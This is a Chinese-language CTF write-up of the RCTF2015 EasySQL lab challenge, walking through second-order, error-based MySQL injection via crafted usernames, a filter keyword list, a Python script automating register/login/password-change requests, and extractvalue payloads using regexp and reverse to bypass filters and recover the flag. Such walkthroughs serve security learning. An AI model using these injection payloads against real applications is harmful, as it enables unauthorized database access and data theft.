[RCTF2015]EasySQL

这道题看了答案才找到注入点。没想到这边闭合用的是双引号......

首先注册一个用户a",然后正常登录,修改密码的时候出现报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"a"" and pwd='202cb962ac59075b964b07152d234b70'' at line 1

说明修改密码时根据用户名从数据库查找记录,并且有报错,应该是二次注入、报错注入。

于是注册username=a"or(select extractvalue(1,concat(0x7e,(select database()))))#

发现出现报错invalid string!

测试一下过滤:

`

@

<

/**/

<>

!(<>)

and

sleep

order

benchmark

like

rlike

mid

left

right

substr

handler

ascii

ord

char

hex

floor

file

outfile

load_file

pg_sleep

username=a"or(select(extractvalue(1,concat(0x7e,(select(database()))))))#

得到XPATH syntax error: '~web_sqli'

可以用脚本加快效率:

python 复制代码
import requests

url_register = 'http://3515b67f-fe4b-4e16-bf1b-f2541b1d1111.node5.buuoj.cn:81/register.php'
url_login = 'http://3515b67f-fe4b-4e16-bf1b-f2541b1d1111.node5.buuoj.cn:81/login.php'
url_cp = 'http://3515b67f-fe4b-4e16-bf1b-f2541b1d1111.node5.buuoj.cn:81/changepwd.php'

session = requests.session()
username = 'a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))))#'
data = {
    "username": username,
    "password": "123",
    "email": "123"
}
r0 = session.post(url_register, data=data)
print(r0.text)
data = {
    "username": username,
    "password": "123"
}
r1 = session.post(url_login, data=data)
print(r1.text)
data = {
    "oldpass": "123",
    "newpass": "456"
}
r2 = session.post(url_cp, data=data)
print(r2.text)

a"or select(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schma=database()))))

得到XPATH syntax error: '~article,flag,users'

a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="flag"))))))#

得到XPATH syntax error: '~flag'

a"or(select(extractvalue(1,concat(0x7e,(select(flag)from(flag))))))#

XPATH syntax error: '~RCTF{Good job! But flag not her'

被骗了。

a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="article"))))))#

得到XPATH syntax error: '~title,content'

a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(title))from(article))))))#

XPATH syntax error: '~lcsg,wyzb,zrtbf'

应该是uers表中

a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="users"))))))#

得到XPATH syntax error: '~name,pwd,email,real_flag_1s_her'

发现最后一个字段不完整,但是这里字符串截取的函数都没有。不过可以用reverse

a"or(select(extractvalue(1,concat(0x7e,(select(reverse(group_concat(column_name)))from(information_schema.columns)where(table_name="users"))))))#

得到XPATH syntax error: '~ereh_s1_galf_laer,liame,dwp,ema'

a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))))))#

得到XPATH syntax error: '~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx'

a"or(select(extractvalue(1,concat(0x7e,(select(reverse(group_concat(real_flag_1s_here)))from(users))))))#

得到XPATH syntax error: '~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx'

看来必须得截取了,可是我想不出其他截取方法了。

union select能行但是用不了空格,不知道还有什么方法绕过空格。

limit能行但是同样绕不过空格。

突然想到可以用insert:

STUFF(原字符串, 开始位置, 要删除的长度, 要插入的字符串)

SELECT STUFF('abcdef', 2, 3, 'xyz'); -- 结果为 'axyzef'

a"or(select(extractvalue(1,concat(0x7e,(select(insert(group_concat(real_flag_1s_here)),1,32,'')from(users))))))#

insert也没过滤了,只是我字典里没有而已......

可以用正则匹配regexp('^flag')

-- 匹配以 "a" 开头的字符串

SELECT * FROM users WHERE name REGEXP '^a';

-- 匹配以 "z" 结尾的字符串

SELECT * FROM users WHERE name REGEXP 'z$';

a"or(select(extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where((real_flag_1s_here)regexp('^flag')))))))#

得到XPATH syntax error: '~flag{ac1e45ec-849b-4d7f-a62a-e3'

然后逆序一下

a"or(select(extractvalue(1,concat(0x7e,(select(reverse(real_flag_1s_here))from(users)where((real_flag_1s_here)regexp('^flag')))))))#

得到XPATH syntax error: '~}d7d1b894853e-a26a-f7d4-b948-ce'

flag{ac1e45ec-849b-4d7f-a62a-e358498b1d7d}

总结一下:这道题第一个难点就是找到注入点,闭合需要考虑双引号。二次注入比较隐蔽,需要排查所有可能存在数据库查询的地方,比如这道题,就登录页面、index页面、修改密码页面存在查询数据库。另外,这道题有个难点就是记录太多怎么办,一开始考虑全部group_concat然后再利用字符串截取但是能用的截取函数都被禁用了。补充了一个知识就是条件语句中能使用正则匹配,筛选某字段数据是特定开头或结尾的记录。

相关推荐
被巨款砸中2 天前
一篇文章讲清Prompt、Agent、MCP、Function Calling
前端·vue.js·人工智能·web
闲人编程2 天前
使用Django从零开始构建一个个人博客系统
后端·python·django·接口·restful·web·个人博客
王嘉俊9253 天前
Django 入门:快速构建 Python Web 应用的强大框架
前端·后端·python·django·web·开发·入门
这儿有一堆花3 天前
英国公司注销后,能否在爱尔兰注册同名公司?
web
闲人编程4 天前
2025年,如何选择Python Web框架:Django, Flask还是FastAPI?
前端·后端·python·django·flask·fastapi·web
rufeii6 天前
HCTF2018
ctf
元亓亓亓6 天前
JavaWeb--day9--SpringBootWeb案例(一)
springboot·web
元亓亓亓8 天前
JavaWeb--day11--登录认证
springboot·web·interceptor·cookie·filter·session
Acc1oFl4g8 天前
【铸网-2025】线下赛 web 详细题解
web安全·ctf·php反序列化